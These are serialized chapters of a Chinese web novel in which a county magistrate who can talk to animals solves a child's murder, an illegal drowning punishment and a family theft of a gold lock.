这几年,云长歇除了在用功读书,还在用功的修炼驭兽术。 如今的他,已经可以听懂很多小动物说的话了。 这就意味着,他不仅有很多衙役可以使唤,还有很多小动物当他的眼线。 找人,寻物,这样的小事情,对于他来说不难。 第66章 第 66 章 剩下的两个人,是一个老…… 剩下的两个人, 是一个老头与一个年轻小伙。 老头是为了耕牛来的,他们家的牛被人打死了。但是他不知道是谁打死的,他怀疑是隔壁邻居的儿子打的, 因为他们两家的关系一直不好。 因为他没有直接的证据,也没有人看见人家打死了他们家的牛,这件事情就一直没有个结果。 那牛,对于他们家很重要, 一大家子都靠着它吃饭, 老头就不愿意这件事情就此过去。 云长歇听完之后, 就让人把老头带了下去。 案子肯定要办,他先让人把对方说的话, 怀疑的依据, 等等都一五一十记录下来。 等到办他的案子时,云长歇再根据记录想办法找出真凶来。 如今他手里的事情太多, 没有办法几个案子一起调查,就只能按照先后顺序慢慢来。 然后是最后那个小伙子,小伙子是寻乡镇上的人, 他怀疑他家妻子跟人有染, 但是一直找不到那个人是谁。 陈猎户听到这话就有点无语,忍不住开口问了小伙一句。 “你怎么就那么肯定,你妻子跟人有染的?” 小伙子一脸的羞愧和悲愤,“因为最近她总是想要出去,有人看见她鬼鬼祟祟的。” “就因为这个,你就觉得她在外面有人了?” 现在是封建社会, 男尊女卑的,就算有胆子大的女人,这样的女人还是很少的。 “不是的, 她看我的眼神,对我的态度,我能感觉的到。她明显心里没有我了,有的时候似乎还在拿我跟什么做比较。” 云长歇闻言点了点头,“那行吧,你也去衙役那边做个记录。” 小伙子:“大人,我这样的情况,您能帮我抓住那奸夫吗?” “这个要等到调查后才能知道,本官不能因为你一个人的猜测,就百分百肯定她就真的做过。” “可是小人,就是觉得她不清白。” 云长歇点了点头,示意陈猎户把人先带下去。 跟打死牛,怀疑妻子与人偷情相比,还是一个孩子失踪最重要。 而且这个孩子,已经失踪一年多了,很多线索估计不大好找。 若是孩子是被人拐的,应该也不在秋平县了,看来要花费一些精力了。 很快,失踪女孩的画像就出来了。 按照云长歇的吩咐,画像张贴到了秋平县各处,他们现在看看为了赏银,能不能得到一些有用消息。 把画像贴出去后,云长歇就把富顺与福旺叫了过来。 “你们两个帮我去一个地方打听一个女孩。” 福旺闻言汪汪汪叫了几声,云长歇为了让它们更容易理解,就把卷宗拿出来读了一遍。 “寻乡镇浮落村,一个叫鸥老的老太太,她家里有个孙女叫麦穗。麦穗是去年夏天在村里走丢的,走丢的时候穿着深蓝色的衣裳。村里人最后看见她的地方,在通往村外的小路上,那条小路旁边有一条小河。我想让你们找一些小动物,帮我在浮落村打听一下,有没有小家伙看见过她?还有就是,最后一个见过她的男人,是他们村里一个叫王大的人。这几天我会让衙役再去调查一下,到时候你们两个就跟着一起去。” 因为担心它们没有听懂,云长歇后来又认真地叮嘱了一些细节。 “我让衙役再去调查这件事情的时候,整个浮落村的人肯定会议论这件事。有些事情他们估计不会跟官府说,你们能够跟很多小动物沟通。你们让它们帮忙偷听一些消息,最好是多盯着点那个叫王大的一家。还有就是看看能不能跟小鱼聊聊,问问村口那条河里有没有小女孩。” 若是不小心掉河里了,一年多应该有人发现才对。因为人一旦淹死了,很容易在水里浮起来。 浮落村的那条小河不大,也没有办法通往其他的河。小姑娘若是不慎落入死了,村里人想要发现不难的。 次日,秋平县的衙役去浮落村走访时,陈猎户就带着福旺富顺一起去了。 官府办案带上一只狗,并不是什么稀奇的事。 因为在古代,其实就已经有警犬这一职位了。 只不过在古代,一般不会叫警犬,而是叫做犬卒。 一些司法部门,军队里,也会经常用到犬卒。 走访这几天时间,有个衙役会和陈猎户这两天在浮落村附近转悠。 而浮落村就在云香村隔壁,陈猎户可以带着富顺它们暂时在云长歇在云香村的家里。 在他们忙着调查失踪小女孩时,云长歇一边核对往年的县衙账目,一边用开智丹吸引了一群小鸟过来。 小鸟数目多,飞行速度快,用它们当做眼线要比猫猫狗狗还要方便。 如今的云长歇,驭兽术已经比以前好很多了。 他在休息的时候,就把几只小鸟招到自己身边来。 “你们帮我去盯着两个人……” 云长歇让它们盯着的两个人,正是那个寡妇家里丢东西时,曾经到访过她家里的两人。 这两个人,一个是小寡妇的弟弟,另一个是小寡妇夫君的姐姐。 他不能确定,金锁一定是他们两个人偷的。 但是他可以肯定的是,一定跟他们有点关系。 知道寡妇有金锁的人不多,只有知道了这件东西的存在,才会有贼起了偷窃的想法。 当然了,也有可能是寡妇比较倒霉,刚巧被一个不认识的小偷偷了。但是这样的几率有点小,很多罪犯与受害者都是认识的。尤其是涉及到金钱这方面,很容易与身边的人发生纠纷。 一群小家伙叽叽喳喳了一通,在跟云长歇讨价还价。 它们答应帮云长歇盯着人,云长歇之后一定要给它们准备食物。 云长歇闻言有点好笑,“知道了,回来给你们准备很多吃的。” 听到了云长歇的承诺,一群小鸟就从县衙后院飞了出去。 云长歇今天让人,给那两个人画了画像,还把寡妇丢的金锁画了出来。 一群鸟看过画像与金锁,找起人来还是很快的。 它们去了有两三日,其中就有两只飞了回来。 它们回来的时候,云长歇正在书房用饭,见到它们过来寻他了,就把身边的人屏退了。 “说说吧,你们都发现了什么?” 两只小鸟落在云长歇的面前,先是吃了几口桌子上的米粒,这才开始欢快的叫了起来。 小鸟给的信息很杂,云长歇支着下巴听了好久,才汇总出来几条有用的。 首先,不管是寡妇亡夫的姐姐,还是寡妇的亲弟弟,听说官府在调查金锁失窃案,两边的反应都比较的淡定和稳定。 其次,寡妇的弟弟是个喜欢赌钱的,他家邻居说他最近又在堵,他看起来心情似乎很不错,应该最近运气好赌钱给赌赢了。 最后,寡妇亡夫的姐姐一家,似乎想要搬到隔壁县去。 云长歇把这些信息放一起之后,不知道为什么有一种很奇怪的念头。 赌钱? 最近运气好,赌钱赌赢了? 是真的运气好,还是得到了一笔不义之财? 还有就是,大姑子为什么要搬家,早不搬家,晚不搬家,偏偏现在搬? 这个时间段,有什么特殊意义? 是想要换个环境生活,还是在惧怕着什么? 第67章 第 67 章 不等云长歇这边想出个所…… 不等云长歇这边想出个所以然, 就发生了一件事让他不得不,暂时把这些事情都搁下了。 秋平县治下,一个叫安定村的地方, 发生了一起恶性沉塘事件。 云长歇得知此事的时候,就立刻亲自去了安定村。 他在去的路上,得知了事情大概的情况。 被沉塘的是个哥儿,这个哥儿三年前嫁给了一家姓贾的人家。 因为他刚刚嫁过去, 他的夫君就意外没了, 他就成了个小寡夫。 按照大周的法律, 不管是寡妇还是寡夫,都是有权利再嫁的。 这小寡夫的娘家人, 就想要小寡夫重新找个男人嫁了。 但是小寡夫的婆家这边不愿意, 还觉得是这个小寡夫克死了他们家的男丁。 他们想要小寡夫为他夫君守寡,还想要把小寡夫的名字, 刻在村口的牌坊上面。 意思十分的简单明了,就是不管人家愿不愿意,他们都要逼着他自愿守寡。 小寡夫年纪小, 今年也才二十岁。 他耐不住守寡的寂寞, 就跟一个货郎走的很近。 后来被货郎哄骗着,就把身子给了对方。 结果没有想到,他们两个人不够仔细,这件事就被人知道了。 那货郎不是本地人,人家占够了便宜,就拍拍屁股走了。 货郎可以走, 而他是本地人,还是个哥儿,自然是走不掉。 小寡夫的婆家人, 知道他守寡的时候跟别的野男人苟合,就拿着这个证据把小寡夫抓了沉塘。 在大周,婚前通奸是犯法的。 这个小寡夫年纪小,没有什么社会经验。 那货郎也没有说要娶他,他就傻乎乎把身子给了。 如今货郎人已经跑了,罪责就落到他一个人头上了。 不过就算有罪,这罪责也不算大。 婚前与人通奸,男人要杖责二十大板,女人和哥儿杖责十大板。 云长歇坐马车到达村子里的时候,那小寡夫已经被镇守的人救了。 云长歇跟镇守,村长,以及村民进行了多方核实。 确定他与那货郎发生了通奸,那十大板就百分百逃不掉了。 至于沉塘的事情? 普通百姓是没有权利,去惩罚任何人的。 他们若是觉得,小寡夫有罪,应该上报官府,而不是私自杀人。 是的,在云长歇的眼里,他们就是在杀人。 只可惜法不责众,这些人又都是愚昧百姓,他也不可能真的就按,杀人的罪名给他们定罪。 最后云长歇把所有人都抓了,带回了县衙进行了公开审讯。 先杖责了,婚前与人通奸的小寡夫。 告诉秋平县的百姓,在婚前不可随意通奸。 其实婚前不可通奸,真正保护的是女子与哥儿。 女子和哥儿会怀孕,若是男子不愿意负责。在这样的封建社会,他们未婚先孕的结果会很惨的。 就算不会被沉塘,他们被当众打板子,被人一直指指点点的,他们也很难好好活着。 这小寡夫吃亏就吃亏在,愚昧,无知,没有见过男人,容易被男人哄骗。 当然了,这件事情也不是他一个人的错。 虽然那个货郎现在跑了,云长歇还是让人画了画像,把画像分布到周围各县。 若是其他县发现了他,他们就算不帮忙抓人,也会把这人当采花贼看待,也省的其他地方的百姓被祸害。 处理完了通奸案,紧接着是沉塘案。 贾家一群人被抓住时,还一个个的愤愤不平。 云长歇见状,就让衙役给他们念大周的律法。 “你们没有任何权利,决定一个人的生死。他就算犯了天大的罪行,这个罪也该由官府来判。若是以后人人像你们一样,那岂不是整个天下就乱了?更何况,通奸罪不至死,你们的行为就是在杀人。” 听到他们是在杀人,有可能会被按照杀人罪来判,贾家的人这才有点害怕了。 云长歇念在他们愚昧无知上,只把几个强行拉小寡夫沉塘的几人打了二十大板。 也不是云长歇多么仁慈,大周愿意让寡妇寡夫再嫁,是因为大周需要更多人口。 所谓的婚前通奸罪,也是为了保护女人与哥儿,能够让他们安稳的嫁人生孩子。 云长歇在读书的时候,就摸透了大周的本质,本质上还是在意人口。 这贾家的人确实可恶,但是若是因此就杀他们,也是不符合大周法律的。 云长歇是父母官,他也没有权利越过规定好的法律去做事情。 这件事情结束后,云长歇还要想办法,多宣传大周的律法。 只有人人懂法了,才能避免更多的罪行。 没有了更多的罪行,才能保证弱小不会被伤害。 云长歇让人去民间,收集一些科普大周律法相关的话本子。 他高价收这些话本,一些缺银子的读书人,自然愿意花时间写这些。 若是看到有不错的,可以用来科普律法的话本,他就找个说书先生在茶馆说书。 普通百姓是不怎么关心律法的,他若是让衙役们去下面科普。 大多数的百姓害怕官爷,看到衙役只顾害怕了,不见得就会用心记住。 但是说书不一样,如今的娱乐项目不多。 很多百姓喜欢听戏,听说书。 科普配上精彩的剧情,实际上要比衙役科普更加有用。 为了这件事情,云长歇又自讨腰包拿出了二百两银子。 如今的他,银子确实不缺。 这几年的美肤膏,给他赚了不少银钱,足够他们一家花用了。 只可惜,美肤膏的材料不大够了,估计这个生意也做不久了。 美肤膏主要的材料,就是那些养颜丹。 那一箱子的养颜丹,如今已经没有多少了。 云长歇回到秋平县时,就给何家那边去信了,以后没办法再提供美肤膏了。 从一年前的时候,何家就知道云长歇没有多少材料了。 他们家因为美肤膏,如今已经是府城第一商户了。 他们也不奢望,靠着美肤膏赚到更多的银子。 不过得知,美肤膏没有了,他们还是挺失望的。 早知道美肤膏会断货,他们自己就应该囤点。 那东西是真的好,可以留着给家里女儿哥儿当嫁妆。 没有了美肤膏,云长歇也能做出其他的东西。 他之所以没有做,主要原因就是他现在不缺银子。 他手里有上万两银子,加上他现在还挺忙的,也就没有急着做别的。 如此又过两日,去浮落村的陈猎户就回来了。 因为失踪女孩,已经失踪一年多了。 云长歇觉得,就算他们能够通过小动物找到线索,也不会那么快就有重要消息的。 但是让云长歇没有想到的是,福旺回来给他带来个不好的消息。 那个失踪女孩,人已经死了。 福旺会这样的肯定,是因为它通过周围的小动物,已经知道了她埋葬的地点了。 云长歇得知这个消息,次日下午就带着人进了浮落村。 他们在汐林山的半山腰,找到了那个叫麦穗的女孩。 官府来办案,动静不小,浮落村很多村民都跟着上了山。 在看到已经腐朽的尸体时,村子里不少人都吓得不轻。 一个村妇说道:“天呢,是谁这样狠毒,把人埋在了这里?这件事,若是让欧老太知道,还不知道她要如何伤心呢。” 云长歇知道她是怎么死的,一会儿仵作要就地进行验尸,他不想死者死后还被人议论,他就让村长把村民都带走了。 等到村民都走了,仵作只是随意看了一眼,脸色就忍不住沉重了起来。 “这孩子,生前估计遭受过折磨。” 云长歇闻言没有吭声,而是让他仔细的查验。 如今的他已经知道了,那个杀人犯是谁了,现在缺的就是证据。 这孩子是浮落村的,村子里的人都认识她。 能够让她放松警惕的,肯定也是同村的人。 杀了她,还虐待她的,正是那个最后见过她的王家老大。 那王家老大是个表面看起来很老实,实际上私底下喜欢虐/杀小动物的家伙。 福旺说,他杀死过很多小鸟,小猫,小松鼠…… 大概是杀这些不过瘾,再加上他突然兽性大发,他就看上了同村的麦穗。 麦穗长得漂亮,年纪小,要比那些成年女人哥儿好掌控。 麦穗叫他叔的,平日里关系还不错。 她估计也没有想到,这个看起来老实本分的同村叔叔,实际上私底下是个可怕的畜生。 大周,对于□□罪很严厉的。 在大周□□罪,未遂杖五十,刑三年。 杖五十,可不是拿小树枝挠痒痒,而是一个壮汉用大板打。身板弱一点的人,根本撑不到刑三年。 既遂的,情节轻的,杖一百,刑七年。 咳咳,其实这个杖一百,就是直接打死的意思。 云长歇这样身体弱的,他连杖三十都撑不到就得嗝屁。 身体好一点的撑个杖五十吧,能够撑到杖一百的很少很少。 这里的杖一百,实际上就是“给我打死算了”,更别提是后面的刑七年了。 古代的大牢,与后世可不一样。 古代的大牢,常年不见天日,里面潮湿,阴冷,发霉,恶臭,什么老鼠,蟑螂,蜈蚣多不胜数。 挨过刑杖的罪犯,很少能在里面能活着的。 若是奸杀,情节严重的,是要当众处以极刑的。 极刑是什么呢? 就是凌迟,一片肉一片肉,像是片猪肉一样。 其实不止他所在的大周,就是古代很多的朝代也一样。 女性在古代,其实没有电视剧演得那样惨。 比如在唐朝,□□女人,情节轻的杖刑/徒刑,情节重的处以绞刑。 宋朝的会更加严重,□□女人处以死刑。女人在反抗过程中杀死了□□犯,视作无罪。 明朝也很严重,□□未遂百杖流放,□□既遂死刑。 所以像是那些话本子里,采花贼四处作案的事情,都是一些书生自己的意淫。 古代的女子,哥儿,人家处在深闺里。 除了乡下的,大多数都是大门不出二门不迈。 嫁人前在深闺,嫁人后在后院。 有一些女子嫁人后,想要回个娘家都难,根本接触不了外男。 参透了大周的律法后,云长歇得知他这里发生了这样的恶性案件,说实话他的心里还是挺惊讶和震惊的。 他意外于那人的冷静与聪明,也意外于人性的可怖与恶毒。 不过好在,他来了。 他的“人脉”很广,有了它们的帮助,他不会让他逍遥法外的。 第68章 第 68 章 仵作进行验尸之后,确定…… 仵作进行验尸之后, 确定了杀人凶器,是一把普通的柴刀。 这王家的老大,有虐杀小动物的癖好。 他在附近杀死不少小动物, 周围小动物对他就比较防备。 也正是因此,他的一举一动很多小动物都会下意识的关注。 云长歇确定了凶器,就让福旺它们帮忙打听寻找。 这个王家老大他杀完人,可定需要处理凶器的。 而那个时候, 欧老报了官在寻找孙女。 不管是官府, 还是村民, 都在帮她找人。 这种情况下,他处理凶器就不能走的太远。 因为他若是突然离开村子, 不帮忙一起去寻找麦穗, 他的行为就会十分可疑。 所以云长歇觉得,那把杀人的凶器应该就在村子附近。 本来他想着, 对方会不会把刀扔进了河里,河里隐蔽,水会流动, 说不定会被泥沙掩盖在下面。 但是很快, 他就打消了这个念头。 村子里有条河,村子里的孩子就会下河摸鱼。 天气热的时候,有些年轻人也会下河洗澡。 浮落村的这条河很小,若是他把柴刀扔进河里,很容易被村里人发现。 他们村子就那么大,谁家里有什么大家都一清二楚。 若是有人发现那把刀, 万一有人认出是王家的。 在麦穗失踪的时候,王家的刀跟着丢了,这种事情就会很打眼。 所以……他应该不会往河里扔, 而是埋在了一个隐蔽的地方。 等到麦穗失踪一段时间,到时候他再对外说刀丢了,大家也不会觉得多么奇怪了。 至于为什么,一把柴刀丢了,还要废这么大力气掩盖? 主要是在大周,普通百姓不能有武器。 像是柴刀,菜刀,这样铁器制作的可以当武器的东西,一般打铁铺都会有一个编号的。 就比如王家老大买这把柴刀,铁铺那边不仅会有买卖记录,刀上也会有正规的编号。不是他想要随手扔了,就能够换一把新的顶替的。 大周这样管制武器,除了担心百姓造反,更主要是为了,限制百姓手里的武器,避免发生杀人的事情。 杀人,尤其是杀成年人,没有武器就很困难。 哪怕是个成年壮汉,杀死一个成年女子或哥儿,也是要闹出不少动静的。 在云长歇看来,想要保护弱者不被欺负,除了一味的管制武器外,更主要还是鼓励弱者锻炼。 一些老人,孩子,病人没办法改变自己是弱者的情况。 但是一些身体康健,只是力气小的人,却是可以进行锻炼的。 那些所谓的女人/哥儿,瘦弱,柔美才是美的言辞,实际上是一些男人的谎言。 他们只是希望床榻上的人好掌控,他们可以随意打骂,也不担心被反打。 实际上,高挑,有力,健康,也是一种美。 只不过这样的美,往往充满着力量感。 在遇见不公平的对待时,他们很有可能反杀别人,就变得不那么受推崇了。 找到凶器的时候,是在找到尸体的第三天早上。 凶器是一只山猫找到的,被王家老大扔进了山里的一个石洞里面。 那个石洞很小,人根本进不去。里面还有很多毒蛇毒虫,位置又十分的偏僻。 只有对大山十分熟悉的动物,才会知道这样隐僻的地方。 找到了凶器,一切就简单了。 这凶器有编号,只要找到买柴刀的打铁铺,就能够知道是谁买的了。 这几天,王家老大那边挺惊慌的,他是真的没有想到,官府会这么快找到麦穗的尸体。 早知道新县太爷这样厉害,他就应该把尸体转移的。 可惜由于之前太过顺利,他担心转移的时候被人发现,就没有敢轻举妄动。 在大周,杀人要偿命。 他还是奸杀幼童,肯定要被处以极刑。 他不怕死,但是害怕生不如死。 所以这几天他一直很慌,就连他身边的傻婆娘都发现了不对劲。 这一天,他借口身体不舒服,早早从田里回来,就打算收拾东西跑路。 他们村子靠近大山,汐林山很大的,只要他进了山,官府的人很难抓住他。 等到风声过去他就跑到其他地方去,到时候改头换面就能重新生活了。 王家老大回来收拾东西时,没有想到他家婆娘也回来了。 婆娘看到他在收拾东西,一脸惊恐的看着他问道:“你,你这是要去哪?” “你别管。” “什么叫我别管,你是我男人,你去哪我肯定要问啊?” “你就当我死了吧。” “你,你这是什么意思?之前不是好好的吗?怎么突然就这样了?” 说到这里婆娘愣了一下,她就想到了麦穗的尸体,她有点不可置信的问:“你,你现在要走,是不是因为麦穗?是,是你杀了麦穗?” 据说好像是奸杀,天老爷啊? 她怎么也不相信,她面前这个老实男人会做出这样的事情? “你怎么不说话,真的是你杀的?” 王家老大被她问烦了,他眼神恐怖盯着她道:“这件事情你别管,你要是再问,我就送你去问她。” 婆娘闻言顿时一脸煞白,她连忙伸手捂住嘴巴,再也不敢说任何话了。 官府的人过来抓人的时候,王家老大已经上山了。 他们过来是带回去审问的,结果没有想到他直接跑了。 这个节骨眼人跑了,这不就做实了他跟麦穗案有关吗? 他这个时候跑,其实并不是愚蠢,耐不住性子。 而是他担心万一,官府能调查出来,到时候再跑就晚了。 如今他进了大山,整个汐林山那么大,还四通八达的。 秋平县的县衙,一共才八个衙役。 就算带上整个浮落村的村民,他们也没有办法把整座山都扫个遍。 现在又是夏天,毒蛇,毒虫那么多。 新县太爷不可能为了一个罪犯,就让更多的百姓跟着去冒险。 到时候他只要机灵点,很容易就能逃出生天的。 但是他不知道的是,他们这位县太爷破案靠的不是衙役与百姓,而是靠着汐林山上的大大小小的野兽。 官府会这么快找到尸体,也是多亏了这些野兽。 人,是富顺带着几只野山猫找到的。 它们围攻了他,王家老大的脸上被抓伤了,在逃跑的路上还摔断了一条腿。 富顺见状,就回去找了陈猎户,很快就去山上把人给揪了回来。 王家老大被带到公堂上时,整个人看起来十分的狼狈。 他总觉得,他会被那些山猫攻击是报应。 他之前杀过一只小山猫,小小的一只。 它在惨叫的时候,他就听到有其他山猫的叫声。 想到他在山里的遭遇,他突然觉得遍体生凉。 那些畜生,难不成都通人性吗? 它们知道他是仇人,所以才会过来围攻他的? 他在被抓之后,还想要抵抗一番。 他想着,只要他不承认,光凭他逃跑这一点,官府没办法给他定罪。 他对县太爷说道:“我逃跑,是我受够了我家那臭婆娘。她天天在家里哭穷,说家里孩子那么多,我没本事养活一家子,我受够了就想要逃跑。” 然后把他家婆娘带来之后,对方就顺着他的话说道:“是的,我家夫君就是个老实人,他做不出杀人这样的事的。” 就算他要抛弃她,抛弃他们的孩子。 就算他真的杀了人,她也没有办法忍心让他去死。 她觉得,他会杀麦穗,肯定是麦穗做了什么。 那小丫头长得漂亮,漂亮的女人都是祸水。肯定是她勾引了她男人,不然他那么老实的一个人,怎么会做出这样的事情呢。 肯定是麦穗,是她没有见过男人,用身体勾引他威胁他,是的,是的,肯定是这样的。 陈猎户见他们夫妻狼狈为奸,死到临头还敢嘴硬,就把找到的凶器拿了出来。 “那这把刀怎么说?它就是杀死麦穗的凶器,与麦穗身上的伤口吻合。” 王家老大笑道:“十分不巧,柴刀是我半年前上山时丢的,这个不能证明人就是我杀的。因为我们村子像这样的柴刀有三把,就算与伤口吻合,其他两个人也是有嫌疑的。” 陈猎户见他还有心情笑,便也跟着笑了起来。 “你记得倒是清楚,你们村子确实有一样口径的三把柴刀。但是有一把在麦穗失踪前就丢了,这件事情你们村很多人都知道。麦穗失踪的时候,你们村里只有两把这样的刀。一把是你的,另一把是个老头的。那老头年纪大了,腿脚也不怎么方便。埋葬麦穗的地方在山里,他可没有这个本事。” 说到这里,陈猎户顿了顿,凑到了王家老大面前。 “但是你就不一样,你是最后一个见到麦穗的人。你有杀人的时间,还有杀人的凶器。不止如此,我听村子里的孩子说,他们见过你虐杀山猫。” “杀一只山里的畜生罢了,住在大山脚下谁没有杀过?” “可是杀生不能虐生,你虐杀那只山猫时表情狰狞,这说明你的本性恶毒凶残。你又在我们找尸体时逃跑,偏偏你的柴刀也碰巧丢失了,这些就足够证明人是你杀的。” 事实上,只有这些是不能定罪的。 案子也不是陈猎户这样审的,他这样审是有在诱导的意思。 不过古代判案没有后世那么多讲究,只要不是冤假错案,大多数都可以用刑招供的。 因为环境不同,云长歇也百分百确定人就是云家老大杀的,他才没有阻止陈猎户这样审案子。 对付这样的恶人,不需要太多公平公正,云长歇只希望他去死。 浮落村的人,也觉得王家老大就是杀人犯。 因为王家老大逃跑时,曾经与他媳妇发生过争执。 他家邻居听到了他们的争吵,虽然没有听清楚具体说了什么,但是却听到了王家老大说什么,要把他媳妇给杀了之类的话。 对方说完这话就跑了,然后官府就过来提人。 人是被山里的山猫抓伤时摔断的腿,一些迷信的村民就觉得这是报应。 此时见王家老大还在嘴硬,早就受不了的欧老就疯了一样冲了过去。 她要把对方给活撕了,她就这样一个孙女啊,有些人的心怎么这么恶毒这样狠啊? 公堂上的衙役见状,下意识看了云长歇一眼,见云长歇没有让他们拦着,他们就没有上去阻止老太太。 王家老大是个假老实,他在被对方抓了好几下之后,就激发了骨子里面的凶狠。 他狠狠地推开了老太太,还想要上手把人给掐死。 陈猎户见状不等云长歇发话,就一脚踹到了王家老大的胸口。 他是个练家子,这一脚踹得很重,当场就把人踹倒在地,好半天都没能爬起来。 王家老大的妻子见状,就想要过去把人扶起来。 却有村民见状骂道:“真是个糊涂的,他都说要杀你了,你就不怕把他救了,以后他把你给杀了?” “就是啊,他奸杀小姑娘哟,这样的人就没人性。你就算不为了自己,也该为你女儿想想,你家可是有三个女儿呢。” “对啊,万一他兽性大发,不止你以后要遭殃,就是你女儿也要遭殃。” “据说,喜欢糟蹋这种小姑娘的男人,一般连自己女儿都不会放过。他们就不是正常人,是畜生,不能要的。” …… 大概是真的心疼女儿,也有可能是害怕被杀。 王大的媳妇伸出去的手抖了抖,突然眼神一变就像是变了一个人一样。 “大人,大人,民妇之前说谎了,他确实杀了人,他杀了麦穗。他想要逃跑,就是害怕被抓。” 王家老大闻言,一脸不可置信的回头看向她。 媳妇对上他的视线,先是害怕的缩了缩身体,后来想到他这罪必死,慢慢的又鼓起了勇气。 “民妇可以作证,他就是杀害麦穗的凶手!” 第69章 第 69 章 其实就算没有王家老大媳…… 其实就算没有王家老大媳妇作证, 他们这边也是可以给他定罪的。 古代判案不用那么讲究人权,也就没有后世那么的麻烦。 后世,就算知道对方是犯人, 也要给予犯人尊重,和找律师辩护的权利。 但是在古代不一样,对付这样的恶徒,只要他们有证据, 就能用刑让他招供。 不过现在这样也好, 有了物证, 还有了人证,会让百姓觉得知县更加公平公正一些。 这下子, 就算王家老大还想要狡辩, 就是外面的百姓也不信他了。 “那日,他突然说身体不适, 就一个人跑回去了。我很担心他的身体,也担心家里的孩子。他这个人……没有表面上那么老实,有的时候会打骂家里孩子。结果我跟着回去之后, 就发现他在收拾东西准备跑。我是他的婆娘, 家里还有那么多孩子,我肯定不能让他跑啊。我就拦着他,问他这是怎么了?他一开始还不说,还是被我逼急了,才愿意开口说了句话。他的模样太奇怪了,太吓人了, 是我猜出他跟麦穗的事情有关,我就开口质问他是不是他杀的麦穗。然后……他,他就没有否认, 还反过来吓唬我。” 说着王大媳妇就呜呜呜的哭了起来。 她还是在乎这个男人的,在她看来王家老大是她男人,要比那个小狐狸精麦穗重要多了。 她会突然反水,不是因为她良心发现,而是她为了保护家里的几个孩子。 王家老大喜欢虐杀那些小猫小狗,如今已经虐杀过人了,那就没办法回头了。 她很害怕,她帮助他回去后。 他会凶性大发,用同样的方式对待她的孩子。 还真的不是她想多了,以前……以前他就喜欢把几个孩子脱光了打。 那个时候她没有多想,乡下哪个男人不打孩子?他那样打孩子,也就方式奇怪点。 一直等到麦穗死了,被奸杀,生前还被虐待过。 那些村里人说的话,一下子就惊醒了她。 她不能让他活着回去,只有他死了,她的孩子才安全。只有他死了,闭上嘴巴,就没有人知道,她的孩子被他那样对待过。 她生了五个孩子,三个女儿,一个哥儿,一个儿子。 他们的事情,绝对不能让其他人知道,他们以后才能安稳成家。 所以……为了孩子,他必须死。 王家老大见没有回转余地了,这才一脸无奈的招供了。 “人,确实是我杀的。那孩子长得漂亮,与村里孩子不一样,我就一时没有忍住。” 他说的很无奈,好像他是被逼的模样。 云长歇见状,就让衙役先打他三十大板。 认罪的态度太敷衍,做的事情也太恶劣,先打一顿解解气。 见孩子真的是他害的,村里的人一个个气得不行,纷纷在大堂外面骂了起来。 谁家没有孩子啊? 只要不是跟自己孩子有仇的,遇见这种事情都会十分愤怒。 只有那些没有孩子,或者也想这样做的人,才会同情他,心疼他。 他们可不是畜生,他们跟他一个村,都觉得十分恶心。 人打了三十大板,一下子就老实了。 云长歇让衙役,明天把他拉出去游街示众。 也算是杀鸡儆猴,免得有人效仿作案。 拉到街上游街,让百姓出口恶气,也能警示其他人。 游街之后,就要关押到大牢里,等到秋后一起行刑。 后面的事情,都不需要云长歇操心。 陈猎户帮助麦穗奶奶,把麦穗好好的安葬了。 他还要给浮落村的村民做思想工作,王家老大的事情跟他的孩子没关系,不能让村里人把怨恨发泄到孩子身上。 每个孩子,都没办法选择自己的出身,他们有这样的一个父亲,已经是一件很惨的事情了。 只要他们以后不走歪路,不学他们父亲变成恶鬼,他们就应该能安稳长大。 解决了第一个案子,之后云长歇开始安心关注第二个案子。 这个时候已经过去了好几天,那小寡妇亡夫的姐姐一家子,已经悄然无息搬去了隔壁县。 这一家子挺孤陋寡闻的,他们估计是觉得搬走了,云长歇就对他们没辙了。县衙的衙役少,就没有办法监视他们了。 实际上,他们与那个货郎可不大一样,货郎云长歇不知道是哪的人。对方又是走南闯北没个安稳的,他们想要找到人十分的困难。 但是,隔壁县离秋平县不远的,他们又是一大家子的人,云长歇想要查他们是很容易的。 更别提,云长歇还弄了个小鸟监视组,他们根本没有防备那些小鸟。 于是等到他们到了隔壁县新家,就一改之前在秋平县的谨慎态度。 两个人在聊天的时候,就把所有事情给抖露了出来。 原来是他们与小寡妇小弟合伙,把小寡妇家的金锁给偷了。 是的,没有看错。 一个是婆家人,一个是娘家人。 任谁也没有想到,他们会合伙偷了小寡妇的金锁。 云长歇从小鸟那里得知了重要消息,知道了他们把金锁卖到了府城的当铺,就立刻命人去府城的各家当铺进行调查。 他们去当铺寻找金锁的时候,特意拿着那几个人的画像去的,想要当铺的掌柜与伙计认一认人。 然后他们也不算特别傻,不是自己去当铺卖的,而是找了一个亲戚卖的。 不过都查到这里了,谁卖的都不重要了。 只要把人都带回去,好好审一审就能审问出来。 事实上,去抓那个帮忙卖东西的亲戚时,这个人在路上就自己交代了。 他是个胆子小的,他只拿了五两银子,可不愿意担这样大的罪。 在大周偷窃罪也很重的,像是这种偷窃一个金锁的,估计没个六七年出不来。 东西是小寡妇弟弟偷的,计划是小寡妇亡夫姐姐出的。 两个人因为分赃不公,其实已经有一些矛盾了。 在得知卖东西的人已经招供了,两个人在被带到公堂上的时候,为减轻自己的罪过开始互相推诿。 “大人,小的没有那个胆子啊,小的是受那毒妇指使的,不然也不会做出这种事情。” “大人,您不要听他胡说八道,这件事情跟我没有关系。是他偷东西的时候,刚巧被我给发现了,我见财眼开就分了一点。我没有想要偷盗,也没有指使过他。” 云长歇见两个人都不老实,就各自打了他们十大板。 挨了板子就是不一样,再次开口就没有那么多心眼了。 他们老实的交代了,谁是主谋,谁偷的东西,卖了金锁换的钱,又是怎么分赃的。 那个小寡妇,没有想到他们会这样恶毒,在公堂上一直哭哭啼啼的。 后来听说,要把她弟弟关进大牢,她的心里又有点后悔了。 她也是个傻的,还问云长歇可不可以,只把亡夫的姐姐关进去,把她弟弟给单独放了。 这件事情,两个人是合谋。 云长歇又是当众审判,怎么可能徇私枉法。 要告,自然两个人都要告。 如今已经真相大白,哪里是她个妇人说的算的。 若是人人都像她这样儿戏,以后秋平县还有没有王法了? 所以到最后,主谋的两个人,每个人打了三十大板,被判关押六年。 那个协助他们卖东西的,打了二十大板,也要关押一年。 云长歇算是查案很快了,短短半个多月时间,就把两个案子解决了。 大家都说,这位新来的知县很聪明很厉害。 实际上,云长歇一点也不厉害,他就是个有金手指的挂B。 若是真的靠他自己,应该也能找出真相,但是时间肯定要很久很久。 云长歇的事情太多了,他也不想在一个小县城一直当个小县太爷。 有开挂的机会,他当然要好好开挂了。 解决了两个案子,云长歇在县衙后院,招待了两个案子的功臣。 